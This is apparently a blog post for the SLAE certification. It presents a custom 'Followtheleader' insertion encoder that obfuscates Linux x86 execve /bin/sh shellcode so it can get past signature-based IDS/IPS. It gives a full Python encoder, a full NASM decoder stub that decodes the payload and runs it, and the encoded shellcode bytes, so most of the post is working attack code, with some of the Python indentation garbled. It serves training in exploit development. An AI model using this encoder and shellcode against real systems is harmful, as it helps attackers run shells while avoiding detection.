Assignment 4# Insertion Encoder

The fourth assignment is to
Create a custom encoding scheme like the “InsertionEncoder”
Poc with using execve-stack as the shellcode to encode with the schema and execute

The challenge for me on this exercise was to find a way with which I would be able to produce different encoded shellcode in an easy way trying to defeat signature threat-detection IDS/IPS.

An IPS except from performing real time analysis of the traffic, logging of the packets on an IP network analysis of protocol, searching-matching the content and logging of the packets does a signature-based threat-detection.

The python script that I have created, produces different shellcode each time the script runs.

Note that it was created to run only for this execve shellcode and have not been tested to run for other shellcodes.

The method I used is based on a random byte, created every time the script runs.This byte is used as a leader-byte, to encode the rest of the bytes.The script I created is simple and can be improved more.

Lets analyze the python script pattern

  1. It accepts from command a byte which is named as “Leader Byte” .
  2. Splits the Leader Byte in 2 groups of 4 bits (If Leader was A4 firstb=A and secondb=4)
  3. Calculates the value of (firstb-secondb) with some additional checks
  4. Reads the first execve instruction.
  5. Calculates the supplement suplX of this byte (If it was the execve instruction was \x31 now becomes suplX=ff-31=CE).
  6. Reverts the byte order and stores the bytes on rev_suplx (If suplX=CE → rev_suplx=EC).
  7. Calculates the Encoded (xxx) byte using the formula of xxx= firstb-secondb + rev_suplx.
  8. Adds an additional random byte after the encoded xxx byte.
  9. Reads the next execve instruction.
  10. Loops back to step 5 till the last instruction in the execve shellocode gets encoded.

The Python Code is the following

#!/usr/bin/python
# Author:Konstantinos Alexiou  
# Encoding name: Followtheleader-encoder
# Description: Custom execve-shellcode encoder based on a given random byte which is used to encode the execve shellcode
import random
import sys
shellcode =('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80')

total = len(sys.argv)
if total != 2:
    print '!!Give the LEADER byte' 
    print 'Script must run as: python xxx.py LEADER'
    print 'LEADER is any integer between 17-255'
    print 'e.g  python Followtheleader.py 32'
else:
    try:
    leader = int(sys.argv[1])
    fb = int(hex(leader)[2:3],16)                                  # Split the LEADER. If leader = AF -->fb=A
    sb = int(hex(leader)[3:],16)                          # Split the LEADER. If LEADER = AF -->sb=F
    encoded = ' '
    encoded2 = ' ' 
    encoded = '\\x'
    encoded += hex(leader)[2:]                                   # FIRST byte the LEADER 
    encoded2 = '0x'
    encoded2 += hex(leader)[2:]
    i=0
    for x in bytearray(shellcode):                                # READ every Instruction as BYTE  
        i +=1
        hopcode = '%02x' %x                                   # KEEP only the HEX value of opcode
        Dec_hopcode = int(hopcode, 16)                            # CALCULATE the DECIMAL value of opcode 
        suplX = 255 - Dec_hopcode                         # CALCULATE the SUPPLEMENT 
        rev_suplx = hex(suplX)[::-1]                              # REVERT the bytes of SUPPLEMENT (ae --> ea)
        subfs = fb-sb                        
#----------------------------The Encoded byte ----------------------------------------------------
           xxx = hex(int(abs(subfs)) + int(rev_suplx[0:2],16))
#-------------------------------------------------------------------------------------------------
        if len(xxx)>4:                               # Check if xxx > 0xff
            print 'Overflow encoding.Try again!!!.'
            sys.exit()
        elif xxx == '0x0':                      # Check if ZERO byte was encoded 
                print 'A byte was Encoded as 0x00 .Try again!!!'
                    sys.exit()
        encoded +=  '\\x'                                 # Put \x first
        encoded +=  xxx[2:]                               # Put the xxx afterwards
        insertByte = hex(random.randint(1,255))                  # Put a Random byte 
        encoded += '\\x'            
        encoded += insertByte[2:]   
        i +=1
        encoded2 += ','
        encoded2 += xxx 
        encoded2 += ','           
        encoded2 += '0x'
        encoded2 += insertByte[2:]
    print ' *************';
    print ' LEADER BYTE :decimal(%d), HEX(0x%x)'  %(int(sys.argv[1]),leader)
    print ' *************';
    print 'Len of Shellcode: %02d' % i
    print '------------------------------------------------------------------------';
    print '   1. Style:= %s ' % encoded
    print '------------------------------------------------------------------------';
    print '   2. Style:= %s ' % encoded2
    print '------------------------------------------------------------------------';
    except:
    print "exiting..."
---------------------------------------------------------------------------------------


Followtheleader Encoder test run :

$ python Followtheleader-encoder.py 67
 *************
 LEADER BYTE :decimal(67), HEX(0x43)
 *************
Len of Shellcode: 50
------------------------------------------------------------------------
   1. Style:= \x43\xed\x1d\xf4\x40\xfb\x6f\x7a\xa9\xe\xb6\xe\xbc\xc9\xe3\x7a\xaf\x7a\x78
\xe\xc5\xda\x76\x6a\x17\x1a\x4e\x68\x38\xc2\x99\xfb\x35\x68\x84\xd2\xb3\xcb\x7c\x68\x78
\xe2\x9a\xf5\xe9\x50\xc0\x24\x91\xf8\xfe 
------------------------------------------------------------------------
   2. Style:= 0x43,0xed,0x1d,0xf4,0x40,0xfb,0x6f,0x7a,0xa9,0xe,0xb6,0xe,0xbc,0xc9,0xe3,
0x7a,0xaf,0x7a,0x78,0xe,0xc5,0xda,0x76,0x6a,0x17,0x1a,0x4e,0x68,0x38,0xc2,0x99,0xfb,0x35,
0x68,0x84,0xd2,0xb3,0xcb,0x7c,0x68,0x78,0xe2,0x9a,0xf5,0xe9,0x50,0xc0,0x24,0x91,0xf8,0xfe 
------------------------------------------------------------------------

Screen-shots of the python script are bellow

vf1vf2vf3

The scripts accepts an integer with value between 17-255.This is the Leader byte which will encode the execve shellcode.

Running the python script giving different values, different patterns will be created which is what we want.

vf4

vf5

Next step was to create the decoder (the assembly code that will decode the encoded Shellcode).

The general steps to decode the shellcode must follow a reverse logic.

1. As we said earlier the first of the created encoded bytes is the Leader Byte.

2. This byte must be used to decode the rest of the bytes.

The logic I followed was to put the byte in a register spit in 2 groups of 4 bits (the firstb and the secondb) and then calculate the absolute value of the sub between (firstb-secondb) and store that value in a register.

3. We must decode only the bytes that sits in the correct positions. (In comparison with C the bytes that we have to decode are placed in the red positions [0,1,2,3,4,5…]. All the other positions contain garbage.So, some kind of pointer should be used to keep track of the “red” positions.

I used EBP and ESI to keep track of these positions. In order to decode the byte I calculated the rev_suplx. rev_suplx=xxx-(firstb – secondb) where xxx is the encoded byte located in the “red” position and (firstb – secondb) was calculated on step1. Then the calculated rev_suplx byte must be reverted in order to calculate the suplX. Finally was to calculate the supplement of suplX.

4. Every byte that is decoded must get shifted one position left. So, an additional pointer should be used.

I used EDI to keep track the position that must be overwritten with the decoded byte.

5. We must find a way to decide that all the bytes have been decoded and its time to jump to our decoded shellcode.

I used EBP as a counter to the actual decoded length of the shellcode and compared it with the value of 50 which is the size of the execve-shellcode each time a new encoded byte got in the process of decoding.

Decoding process:

The assembly code on the screenshots and code below used for LEADER byte the decimal value 64. vf6

; Filename: Followtheleader-decoder.nasm
; Author:  Konstantinos Alexiou
; Description: Followtheleader custom insertion Encoder, Linux Intel/x86
 
global _start           
section .text
 
_start:
    jmp short call_shellcode

decoder:
    pop esi                      ; Address of EncodedShellcode to ESI
    lea edi, [esi]               ; Load effective address of what is contained on EDI
    xor ecx, ecx                 ; Zero ECX
    mul ecx                      ; This instruction will cause both EAX and EDX to become zero
    xor ebp, ebp                 ; Zero the value on EBP 
    mov dl, byte [esi]           ; Put the LEADER byte to EDX (DL) 
  
;(firstb - secondb) CALCULATION  
    mov al, dl                   ; Copy the LEADER to EAX
  
    ;firstb extraction of LEADER
    shr dl, 4                    ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
   
    ;secondb extraction of LEADER
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of Leader on al
    shr eax, 28                  ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
    sub dl, al                   ; (firstb - secondb) value stored to EDX (DL)
    jns decode_pr    

negative:                        ; Calculate the absolute value if negative or 
    not dl
    inc dl


;decode process
decode_pr:

    xor eax, eax                
    xor ebx, ebx
    xor ecx, ecx

    mov al, byte [esi+1+ebp]     ; Put the encoded byte to EAX
    mov ecx, ebp                 ; EBP is used as a counter, (copy the value of EBP to ECX)
    xor cl, 0x32                 ; At the end of the shellcode EBP should point 50 in decimal 32 in hex
    je short EncodedShellcode   
  
    ;rev_suplx Calculation
    mov cl, al                   ; Put the Encoded byte to EAX (xxx to EAX)
    sub cl, dl                   ; rev_suplx= xxx-(firstb - secondb) value stored to CL
    mov bl, cl                   ; Keep Backup of rev_suplx to BL
    mov al, cl                   ; Second backup of CL   
    
    ;Revert the bytes on rev_suplx 
    shr bl, 4                    ; shift 4 bits right (if was bl=ec now bl=e)
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of rev_supl on cl( if EAX was 0xec now EAX=0xc0000000) 
    shr eax, 24                  ; shift right 24 of EAX (if EAX=0xc0000000 now EAX=0x000000c0)
    add eax, ebx                 ; add the value on EBX to EAX (if EAX=0x000000c0 + BL=0xe, EAX=0x0000000ce)
 
    ;Supplement Calculation
    mov bl, 0xff                 ; Value of  0xff to BL
    sub bl, al                   ; Calculate the Supplement
    mov byte [edi], bl           ; Put the decoded byte to the position of EDI
    inc edi                      ; EDI is a pointer to the position which the decoded bytes will be stored
    add ebp,0x2                  ; The EBP is a counter values will be (2,4,6,..50)

    jmp short decode_pr          ; Goto the decode process to decode the next bytes        
 
call_shellcode:
    call decoder
    EncodedShellcode: db 0x40,0xf0,0x37,0xf7,0x15,0xfe,0xe0,0x7d,0x20,0x11,0xb5,0x11,0x37,0xcc,0x36,0x7d,0xf3,0x7d,0x61,0x11,0xac,0xdd,0x87,0x6d,0xb0,0x1d,0x6f,0x6b,0x2,0xc5,0xe0,0xfe,0xbe,0x6b,0xc1,0xd5,0xc3,0xce,0x39,0x6b,0xeb,0xe5,0xfe,0xf8,0x29,0x53,0xf8,0x27,0x16,0xfb,0xe9 

Screenshots of the decoder nasm file are  included below

vf7

vf8

vf11
The above code does the following:
1. Stores the address of the encoded execve shellcode using the jmp,call pop technique.

_start:
    jmp short call_shellcode

2. Saves the LEADER byte to dl register of the EDX

decoder:
    pop esi                      ; Address of EncodedShellcode to ESI
    lea edi, [esi]               ; Load effective address of what is contained on EDI
    xor ecx, ecx                 ; Zero ECX
    mul ecx                      ; This instruction will cause both EAX and EDX to become zero
    xor ebp, ebp                 ; Zero the value on EBP 
    mov dl, byte [esi]           ; Put the LEADER byte to EDX (DL) 

3. Extracts the firstb and secondb of the Leader byte and calculates the absolute value of (firstb-secondb).

;(firstb - secondb) CALCULATION  
    mov al, dl                   ; Copy the LEADER to EAX
  
    ;firstb extraction of LEADER
    shr dl, 4                    ; Keep only the 4 high bits of LEADER to DL (if Leader=ac then DL=a) [firstb]
   
    ;secondb extraction of LEADER
    shl eax, 28                  ; shift left 28 bits of EAX which contains the value of Leader on al
    shr eax, 28                  ; shift right 28 of EAX (if EAX=0xc0000000 now EAX=0x0000000c) [secondb]
    sub dl, al                   ; (firstb - secondb) value stored to EDX (DL)
    jns decode_pr    
negative:                        ; Calculate the absolute value if negative or 
    not dl
    inc dl

4. Go through decoding process
4.1 Put the encoded byte to EAX

          mov al, byte [esi+1+ebp]
    

4.2 Uses EBP as a counter to the actual decoded length of the shellcode and compared it with the value of 50 which is the size of the execve-shellcode each time a new encoded byte got in the process of decoding.

                      mov ecx, ebp                 
                      xor cl, 0x32                
                      je short EncodedShellcode 
       

4.3 Calculation of the rev_suplx= xxx-(firstb – secondb)

 	          mov cl, al                  
  		  sub cl, dl                   
   		  mov bl, cl                   
                  mov al, cl  
         

4.5 Revert the bytes on rev_suplx with that calculates the supplument of the original execve shellcode

		  shr bl, 4                    
     		  shl eax, 28                  
		  shr eax, 24                  
    		  add eax, ebx 
                  mov bl, 0xff                 
   		  sub bl, al  
   

5. Move the decoded byte to the appropriate location where edi is pointing .

As we said earlier we used EDI as a pointer to keep track the position that must be overwritten with the decoded execve byte.

		mov byte [edi], bl          
    		inc edi                      
   		add bp, 2   

6. Loops back to step 4 for the next byte to be decoded

The loop to step 4 is done until all the encoded bytes are decoded. This is done with the help of the EBP register which is used as a counter. Every time the loop starts over the value of EBP gets incremented by 2 and is compared with 50 which is length of encoded shellcode and of course means that no more bytes needs to be decoded. The values it gets are 2,4,6,8…50 and the time EBP=50 the execution flow is directed to the start of the decoded ececve shellcode and executes it (this decoded execve shellcode).

Compiling and running the shellcode we get an execve shell as follow:

vf12

vf13

vf14

Observing the execution flow in gdb we can see the decoding process of the decoding bytes.

vf15

vf16

The address of starting point of the encoded shellcode can be seen bellow.

vf16

vf17

We can see the bytes that have been decoded.

vf17

And finally we see that we hit our /bin/sh shell.

vf18

Note:The encoder has been submitted and accepted both to the shell-storm and exploit-db, and you can find it here: http://shell-storm.org/shellcode/files/shellcode-902.php.

https://www.exploit-db.com/exploits/36781/

Kudos and appreciation to offensive-security team for their time and effort in maintaining the most amazing repository of shellcodes, exploits, papers etc.

Special thanks to Jonathan Salwan for his time and effort in maintaining the repository of shellcodes, and appreciation  for accepting my code!


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

Student ID: SLAE – 627



Leave a comment